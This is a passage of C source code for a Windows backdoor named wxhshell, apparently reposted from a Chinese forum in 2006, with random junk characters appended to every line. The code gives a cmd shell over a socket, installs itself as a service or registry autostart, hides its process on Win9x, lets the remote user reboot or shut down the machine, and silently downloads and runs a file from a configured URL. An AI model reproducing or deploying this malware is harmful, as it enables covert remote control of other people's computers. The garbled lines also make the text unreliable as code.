      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +M"j#H  
    break; wR%Ta-  
  } 3aW<FSgP  
  // 安装 &y!?R$?b  
  case 'i': { FGDVBUY@  
    if(Install()) aAjl 58  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;UQza ]i  
    else `Gio 2gl9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D4VDWv  
    break; y_m+&Oe  
    } HzTmNm)  
  // 卸载 ,AnD%#o  
  case 'r': { 6b|<$Je9  
    if(Uninstall()) K6DN>0sY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Zq hyv=  
    else  l<6G Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >.meecE?Q  
    break; 33oW3vS  
    } J?O0ixU  
  // 显示 wxhshell 所在路径 01r%K@ xX\  
  case 'p': { ~i|6F~%3  
    char svExeFile[MAX_PATH]; R XCn;nM4  
    strcpy(svExeFile,"\n\r"); A.>mk598  
      strcat(svExeFile,ExeFile); S;4:`?s=i  
        send(wsh,svExeFile,strlen(svExeFile),0); !|[rh,e]  
    break; 4>,X.|9{  
    } GD4S/fn3  
  // 重启 NW1Jr/  
  case 'b': { Y-ao yoNS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UGAV"0  
    if(Boot(REBOOT)) t6"%u3W8M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C:B7%<  
    else { |nNcV~%~  
    closesocket(wsh); S f?;j{?G  
    ExitThread(0); Vuz.b.,i`  
    } R*r4)+gd  
    break; v~mVf.j1  
    } ?+]=|hN  
  // 关机 ZDW9H6ux  
  case 'd': { i<Z%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B|m)V9A%-  
    if(Boot(SHUTDOWN)) &J 3QO%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3RaduN]  
    else { KQr+VQdq>  
    closesocket(wsh); xO|r<R7d7  
    ExitThread(0); D, ")n75  
    } 9,?~dx  
    break; O,r;-t4vYU  
    } p!pf2}6Fd  
  // 获取shell X.b8qbnq[  
  case 's': { Ll]5u~  
    CmdShell(wsh); CXq[VYM&X  
    closesocket(wsh); 81Z;hO"~  
    ExitThread(0); f"s_dR  
    break; *L^W[o  
  } L$5,RUy  
  // 退出 6q^$}eOt  
  case 'x': { FJ3S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @1*^ttC  
    CloseIt(wsh); 3L&:  
    break; av'm$I|O  
    } oh{>nwH  
  // 离开 w~@"r#-  
  case 'q': { 2 5 \S>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .8YxEnXw)(  
    closesocket(wsh); Uj5-x%~  
    WSACleanup(); h4]^~stI  
    exit(1); iwF_'I$#N  
    break; 'WW:'[Syn'  
        } @} Ig*@  
  } cQEUHhRg!  
  } FI^Wh7J  
CV0id&Nv  
  // 提示信息 Lap?L/NS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L"b&O<N o  
} Bt<)1_  
  } S)U*1t7[  
kp*v:*  
  return; I# tlaz#  
} CzBYH   
 ;+~5XLk  
// shell模块句柄 .`IhxE~mN  
int CmdShell(SOCKET sock) Em!- W5*s  
{ u IXA{89  
STARTUPINFO si; )Q=u[ p  
ZeroMemory(&si,sizeof(si)); _*AI1/>`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %Xh}{o$G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j:%,lcF  
PROCESS_INFORMATION ProcessInfo; cy^=!EfA  
char cmdline[]="cmd"; }2]|*?1,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =F@ +~)_  
  return 0; *H/>96  
} xeF>"6\  
Zv@qdY<:  
// 自身启动模式 `PARZ|  
int StartFromService(void) P&Ke slk  
{ Ll|-CY $  
typedef struct .?u<|4jE6  
{ iYr)Ao5X  
  DWORD ExitStatus; "AagTFs(i  
  DWORD PebBaseAddress; =NY;#Jjn  
  DWORD AffinityMask; RiTL(Yx  
  DWORD BasePriority; wa@Rlzij>  
  ULONG UniqueProcessId; !Q>xVlPVu  
  ULONG InheritedFromUniqueProcessId; { { \oC$  
}   PROCESS_BASIC_INFORMATION; $UzSPhv[  
KPToyCyR1  
PROCNTQSIP NtQueryInformationProcess; A}lxJ5h0  
% mQ&pk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DWU=qD+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ur+U#}  
Ae7FtJO  
  HANDLE             hProcess; ]zYIblpde  
  PROCESS_BASIC_INFORMATION pbi; DzR,ou  
! yJ0A m>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,8384'  
  if(NULL == hInst ) return 0; eay|>xa2  
Un]wP`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ! t!4CY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2/ +~h(Cc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {<{VJGY7T  
8-<F4^i_i  
  if (!NtQueryInformationProcess) return 0; S})f`X9_}  
'#c#.O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?;RY/[IX6  
  if(!hProcess) return 0; u.yR oZ8/!  
U$5x#{AFp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J?V$V >d  
byI" ?  
  CloseHandle(hProcess); %1 )c{7  
L!:NL#M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :|(YlNUv  
if(hProcess==NULL) return 0; )Ra:s>  
2{j$1EdI@-  
HMODULE hMod; L]MWdD  
char procName[255]; K^!#;,0  
unsigned long cbNeeded; W/UA%We3+L  
0m3hL~0(a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zv}F?4T~:  
brTNwRze  
  CloseHandle(hProcess); "" UyfC[  
K#k/t"r  
if(strstr(procName,"services")) return 1; // 以服务启动 -. *E<%  
}aOqoi7w  
  return 0; // 注册表启动 wnC-~&+6  
} e\X[\ve  
u43Mo\"<&%  
// 主模块 Ct'tUF<K5  
int StartWxhshell(LPSTR lpCmdLine) n>)aw4  
{ &vmk!wAs  
  SOCKET wsl; ,Mw93Kp Va  
BOOL val=TRUE; WdOxwsq"  
  int port=0; (RI)<zaK ;  
  struct sockaddr_in door; C rR/  
$*eYiz3Ue  
  if(wscfg.ws_autoins) Install(); [C EV&B  
80Y% C-Y:  
port=atoi(lpCmdLine); qoZi1,i'  
s O#cJAfuu  
if(port<=0) port=wscfg.ws_port; bqH [-mu6  
z9 0JZA  
  WSADATA data; P DY :?/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <6;M\:Y*T  
pmP~1=3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _Yo)m |RaB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s=)W  
  door.sin_family = AF_INET; Y[e.1\d'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gE#|eiu  
  door.sin_port = htons(port); #r9\.NA!  
"iEnsP@'Wg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W^09tx/I  
closesocket(wsl); 07SW$INb  
return 1; ga|<S@u?}  
} %( OP  [  
/\Nc6Z/ L  
  if(listen(wsl,2) == INVALID_SOCKET) { FV9{u[3m  
closesocket(wsl); X[Iy6qt  
return 1; zx<t{e7  
} Vsi:O7|+ }  
  Wxhshell(wsl); u)h {"pP  
  WSACleanup(); @MibKj>o  
jS]Saqd  
return 0; Xj]9/?B?  
\ C:Gx4K  
} lrc%GU):  
k% \;$u=%  
// 以NT服务方式启动 :sw5@JdJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :g$"Xc8Zn  
{  pF6u3]  
DWORD   status = 0; 3]1 ! g6  
  DWORD   specificError = 0xfffffff; '?$@hqQn  
|?jgjn&RQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `<>#;%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }o]}R#|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A)~ oD_ooQ  
  serviceStatus.dwWin32ExitCode     = 0; ;F1y!h67<  
  serviceStatus.dwServiceSpecificExitCode = 0; xpp nBnu$7  
  serviceStatus.dwCheckPoint       = 0; +8ib928E  
  serviceStatus.dwWaitHint       = 0; Z?S?O#FED  
bCP2_h3*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "{@[06|1  
  if (hServiceStatusHandle==0) return; .feB VRg  
>]_6|Wfl  
status = GetLastError(); ,(oolx"Xa  
  if (status!=NO_ERROR) [&~x5l 8\C  
{ 7}qxWz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j+'ua=T3  
    serviceStatus.dwCheckPoint       = 0; r1q'+i  
    serviceStatus.dwWaitHint       = 0; =~D[M)UO|  
    serviceStatus.dwWin32ExitCode     = status; A ___| #R  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ma\%uEgTD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5Kd"W,  
    return; h)sT37  
  } EyR/   
vg?(0Gasm*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6{d?3Jk  
  serviceStatus.dwCheckPoint       = 0; >4bw4 Z1  
  serviceStatus.dwWaitHint       = 0; X`<z5W] !  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ir}*E=*  
} u0) O Fz  
Vxrj(knck,  
// 处理NT服务事件,比如:启动、停止 =M:Po0?0E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fiC0'4.,  
{ ?v,c)  
switch(fdwControl) uUS~"\`fk  
{ ({Yfsf,  
case SERVICE_CONTROL_STOP: OS%[SHs  
  serviceStatus.dwWin32ExitCode = 0; 5fs,UH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cl#XiyK>  
  serviceStatus.dwCheckPoint   = 0; @Wd (>*"zw  
  serviceStatus.dwWaitHint     = 0; "< Di  
  { C<C^7-5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QNE/SSL  
  } w)K547!00  
  return; lNc0znY  
case SERVICE_CONTROL_PAUSE: m%eCTpYo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; = ZoNkj/^,  
  break; D$KP>G  
case SERVICE_CONTROL_CONTINUE: | J'k 9W"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q%bFR[p<*  
  break; (Of`VT3ZOA  
case SERVICE_CONTROL_INTERROGATE: $#%R _G]  
  break; p4O[X\T  
}; iiuT:r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x]Nx,tt  
} 2OI 0B\  
0 -M i q  
// 标准应用程序主函数 Uun0FCA>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (MqQ3ys  
{ KBi(Ns#+  
u*qI$?&  
// 获取操作系统版本 7H6Ge-u  
OsIsNt=GetOsVer(); <:(;#&<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DB|w&tygq  
0gOca +&  
  // 从命令行安装 *EO*Gg0d  
  if(strpbrk(lpCmdLine,"iI")) Install(); (-1{W^(  
Z;u3G4XlF  
  // 下载执行文件 t?^!OJ:L  
if(wscfg.ws_downexe) { t~}c"|<t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6ym$8^  
  WinExec(wscfg.ws_filenam,SW_HIDE); GGLSmfb)  
} D0 q42+5  
irw5<l  
if(!OsIsNt) { RI<s mt.Ng  
// 如果时win9x,隐藏进程并且设置为注册表启动 C:AV?  
HideProc(); wYFkGih  
StartWxhshell(lpCmdLine); UZ<.R"aK  
} C_ ;nlG6  
else VNz? e&>  
  if(StartFromService()) _ZJQE>]nWu  
  // 以服务方式启动 Nz"K`C>/  
  StartServiceCtrlDispatcher(DispatchTable); m' j1  
else g"!cO^GkT  
  // 普通方式启动 }/tf^@  
  StartWxhshell(lpCmdLine); 2>.b~q@  
$M,Q"QL  
return 0; IEM{?  
}
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只看该作者 1 发表于: 2006-10-10
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